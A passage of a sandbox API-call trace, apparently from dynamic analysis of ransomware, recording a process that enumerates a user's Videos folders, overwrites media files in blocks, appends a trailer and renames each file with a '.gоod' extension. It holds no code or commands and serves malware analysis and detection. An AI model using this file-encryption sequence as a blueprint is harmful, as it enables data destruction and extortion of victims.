CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0168.874] GetFileType (hFile=0x61c) returned 0x1 [0168.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0168.875] GetFileType (hFile=0x61c) returned 0x1 [0168.875] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x1000 [0168.875] ReadFile (in: hFile=0x61c, lpBuffer=0x3609988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed278, lpOverlapped=0x0 | out: lpBuffer=0x3609988*, lpNumberOfBytesRead=0x1f9ed278*=0x1000, lpOverlapped=0x0) returned 1 [0168.875] CloseHandle (hObject=0x61c) returned 1 [0168.875] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", lpFilePart=0x0) returned 0x39 [0168.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0168.875] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0168.875] GetFileType (hFile=0x61c) returned 0x1 [0168.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0168.875] GetFileType (hFile=0x61c) returned 0x1 [0168.875] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ed2a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ed2a8*=0) returned 0x946d [0168.875] WriteFile (in: hFile=0x61c, lpBuffer=0x360ac00*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ed198, lpOverlapped=0x0 | out: lpBuffer=0x360ac00*, lpNumberOfBytesWritten=0x1f9ed198*=0x10, lpOverlapped=0x0) returned 1 [0168.876] CloseHandle (hObject=0x61c) returned 1 [0168.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", lpFilePart=0x0) returned 0x39 [0168.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0168.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0168.876] GetFileType (hFile=0x61c) returned 0x1 [0168.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0168.876] GetFileType (hFile=0x61c) returned 0x1 [0168.876] ReadFile (in: hFile=0x61c, lpBuffer=0x360cea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed228, lpOverlapped=0x0 | out: lpBuffer=0x360cea0*, lpNumberOfBytesRead=0x1f9ed228*=0x1000, lpOverlapped=0x0) returned 1 [0169.087] CloseHandle (hObject=0x61c) returned 1 [0169.087] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", nBufferLength=0x105, lpBuffer=0x1f9ecc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", lpFilePart=0x0) returned 0x39 [0169.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed150) returned 1 [0169.087] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.087] GetFileType (hFile=0x61c) returned 0x1 [0169.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed0c0) returned 1 [0169.088] GetFileType (hFile=0x61c) returned 0x1 [0169.088] WriteFile (in: hFile=0x61c, lpBuffer=0x3450b70*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ed2d8, lpOverlapped=0x0 | out: lpBuffer=0x3450b70*, lpNumberOfBytesWritten=0x1f9ed2d8*=0x1010, lpOverlapped=0x0) returned 1 [0169.088] CloseHandle (hObject=0x61c) returned 1 [0169.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4", lpFilePart=0x0) returned 0x39 [0169.088] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4.gоod", lpFilePart=0x0) returned 0x3e [0169.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0169.088] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5191c550, ftCreationTime.dwHighDateTime=0x1d4cff2, ftLastAccessTime.dwLowDateTime=0xe18059e0, ftLastAccessTime.dwHighDateTime=0x1d4c932, ftLastWriteTime.dwLowDateTime=0x60ff5d9c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x947d)) returned 1 [0169.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0169.088] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\_etfoQ.mp4.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\_etfoq.mp4.gоod")) returned 1 [0169.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0169.089] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG", lpFilePart=0x0) returned 0x43 [0169.089] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd941c670, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x46d61f70, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x46d61f70, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.089] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd941c670, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x46d61f70, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x46d61f70, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.090] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1d4f940, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0xce82bcb0, ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0xce82bcb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJ_Ecas", cAlternateFileName="")) returned 1 [0169.090] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe73336c0, ftCreationTime.dwHighDateTime=0x1d4d45c, ftLastAccessTime.dwLowDateTime=0x77f42690, ftLastAccessTime.dwHighDateTime=0x1d4cd89, ftLastWriteTime.dwLowDateTime=0x77f42690, ftLastWriteTime.dwHighDateTime=0x1d4cd89, nFileSizeHigh=0x0, nFileSizeLow=0x920d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFbkMPMms2ngem.mkv", cAlternateFileName="OFBKMP~1.MKV")) returned 1 [0169.090] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.090] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0169.090] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0169.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0169.090] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG", lpFilePart=0x0) returned 0x43 [0169.090] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd941c670, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x46d61f70, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x46d61f70, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.090] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd941c670, ftCreationTime.dwHighDateTime=0x1d4c5c6, ftLastAccessTime.dwLowDateTime=0x46d61f70, ftLastAccessTime.dwHighDateTime=0x1d4cb7f, ftLastWriteTime.dwLowDateTime=0x46d61f70, ftLastWriteTime.dwHighDateTime=0x1d4cb7f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.091] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1d4f940, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0xce82bcb0, ftLastAccessTime.dwHighDateTime=0x1d4ca3c, ftLastWriteTime.dwLowDateTime=0xce82bcb0, ftLastWriteTime.dwHighDateTime=0x1d4ca3c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dJ_Ecas", cAlternateFileName="")) returned 1 [0169.091] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe73336c0, ftCreationTime.dwHighDateTime=0x1d4d45c, ftLastAccessTime.dwLowDateTime=0x77f42690, ftLastAccessTime.dwHighDateTime=0x1d4cd89, ftLastWriteTime.dwLowDateTime=0x77f42690, ftLastWriteTime.dwHighDateTime=0x1d4cd89, nFileSizeHigh=0x0, nFileSizeLow=0x920d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFbkMPMms2ngem.mkv", cAlternateFileName="OFBKMP~1.MKV")) returned 1 [0169.091] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe73336c0, ftCreationTime.dwHighDateTime=0x1d4d45c, ftLastAccessTime.dwLowDateTime=0x77f42690, ftLastAccessTime.dwHighDateTime=0x1d4cd89, ftLastWriteTime.dwLowDateTime=0x77f42690, ftLastWriteTime.dwHighDateTime=0x1d4cd89, nFileSizeHigh=0x0, nFileSizeLow=0x920d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFbkMPMms2ngem.mkv", cAlternateFileName="OFBKMP~1.MKV")) returned 0 [0169.091] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0169.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0169.091] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", lpFilePart=0x0) returned 0x56 [0169.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec820) returned 1 [0169.091] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), fInfoLevelId=0x0, lpFileInformation=0x35b0d18 | out: lpFileInformation=0x35b0d18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe73336c0, ftCreationTime.dwHighDateTime=0x1d4d45c, ftLastAccessTime.dwLowDateTime=0x77f42690, ftLastAccessTime.dwHighDateTime=0x1d4cd89, ftLastWriteTime.dwLowDateTime=0x77f42690, ftLastWriteTime.dwHighDateTime=0x1d4cd89, nFileSizeHigh=0x0, nFileSizeLow=0x920d)) returned 1 [0169.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec7e0) returned 1 [0169.091] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", lpFilePart=0x0) returned 0x56 [0169.091] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0169.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.092] GetFileType (hFile=0x61c) returned 0x1 [0169.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0169.092] GetFileType (hFile=0x61c) returned 0x1 [0169.092] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ec878*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ec878*=0) returned 0x1000 [0169.092] ReadFile (in: hFile=0x61c, lpBuffer=0x35b1180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ec848, lpOverlapped=0x0 | out: lpBuffer=0x35b1180*, lpNumberOfBytesRead=0x1f9ec848*=0x1000, lpOverlapped=0x0) returned 1 [0169.092] CloseHandle (hObject=0x61c) returned 1 [0169.092] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", lpFilePart=0x0) returned 0x56 [0169.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0169.092] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.092] GetFileType (hFile=0x61c) returned 0x1 [0169.092] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0169.093] GetFileType (hFile=0x61c) returned 0x1 [0169.093] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ec878*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ec878*=0) returned 0x920d [0169.093] WriteFile (in: hFile=0x61c, lpBuffer=0x35b2440*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ec768, lpOverlapped=0x0 | out: lpBuffer=0x35b2440*, lpNumberOfBytesWritten=0x1f9ec768*=0x10, lpOverlapped=0x0) returned 1 [0169.093] CloseHandle (hObject=0x61c) returned 1 [0169.093] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", lpFilePart=0x0) returned 0x56 [0169.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0169.093] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.093] GetFileType (hFile=0x61c) returned 0x1 [0169.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0169.093] GetFileType (hFile=0x61c) returned 0x1 [0169.093] ReadFile (in: hFile=0x61c, lpBuffer=0x35b4728, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ec7f8, lpOverlapped=0x0 | out: lpBuffer=0x35b4728*, lpNumberOfBytesRead=0x1f9ec7f8*=0x1000, lpOverlapped=0x0) returned 1 [0169.669] CloseHandle (hObject=0x61c) returned 1 [0169.669] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", nBufferLength=0x105, lpBuffer=0x1f9ec200, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", lpFilePart=0x0) returned 0x56 [0169.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec720) returned 1 [0169.669] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0169.670] GetFileType (hFile=0x61c) returned 0x1 [0169.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec690) returned 1 [0169.670] GetFileType (hFile=0x61c) returned 0x1 [0169.670] WriteFile (in: hFile=0x61c, lpBuffer=0x3468248*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ec8a8, lpOverlapped=0x0 | out: lpBuffer=0x3468248*, lpNumberOfBytesWritten=0x1f9ec8a8*=0x1010, lpOverlapped=0x0) returned 1 [0169.670] CloseHandle (hObject=0x61c) returned 1 [0169.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv", lpFilePart=0x0) returned 0x56 [0169.670] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv.gоod", nBufferLength=0x105, lpBuffer=0x1f9ec350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv.gоod", lpFilePart=0x0) returned 0x5b [0169.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec7e0) returned 1 [0169.670] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), fInfoLevelId=0x0, lpFileInformation=0x1f9ec8c0 | out: lpFileInformation=0x1f9ec8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe73336c0, ftCreationTime.dwHighDateTime=0x1d4d45c, ftLastAccessTime.dwLowDateTime=0x77f42690, ftLastAccessTime.dwHighDateTime=0x1d4cd89, ftLastWriteTime.dwLowDateTime=0x61585b2f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x921d)) returned 1 [0169.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec7a0) returned 1 [0169.670] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\OFbkMPMms2ngem.mkv.gоod" (normalized: "c:\\users\\fd1hvy\\videos\\horlchtm5be\\4hoxeqompag\\pk-l7xkqjzouqe5nf5zg\\ofbkmpmms2ngem.mkv.gоod")) returned 1 [0169.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec040) returned 1 [0169.671] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas", nBufferLength=0x105, lpBuffer=0x1f9ebae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas", lpFilePart=0x0) returned 0x4b [0169.671] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\hORlcHtM5Be\\4hoxeQoMpAG\\pk-L7XkqjZOuQE5nF5ZG\\dJ_Ecas\\*", lpFindFileData=0x1f9ebd60 | out: lpFindFileData=0x1f9ebd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1d4f940, ftCreationTime.dwHighDateTime=0x1d4d509, ftLastAccessTime.dwLowDateTime=0xce82bcb0, 